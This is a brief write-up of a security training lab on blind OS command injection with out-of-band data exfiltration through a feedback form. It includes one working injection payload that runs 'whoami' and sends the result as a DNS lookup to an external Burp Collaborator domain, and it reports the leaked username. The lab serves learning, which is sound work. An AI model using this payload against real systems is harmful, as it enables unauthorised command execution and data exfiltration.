Blind OS command injection with out-of-band data exfiltration

1. This lab contains a blind OS command injection vulnerability in the feedback function.

2. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.

3. All the steps are the same as the previous lab except the payload.

4. Payload: || nslookup `whoami`.nwng9r1qa0mk5fel8er0jhxrqiw9k28r.oastify.com ||

5. When I click on pull now, the response is containing the result of **whoami** command as a subdomain to my burp colloaborator subdomain.

6. The current user is **peter-5GG20g**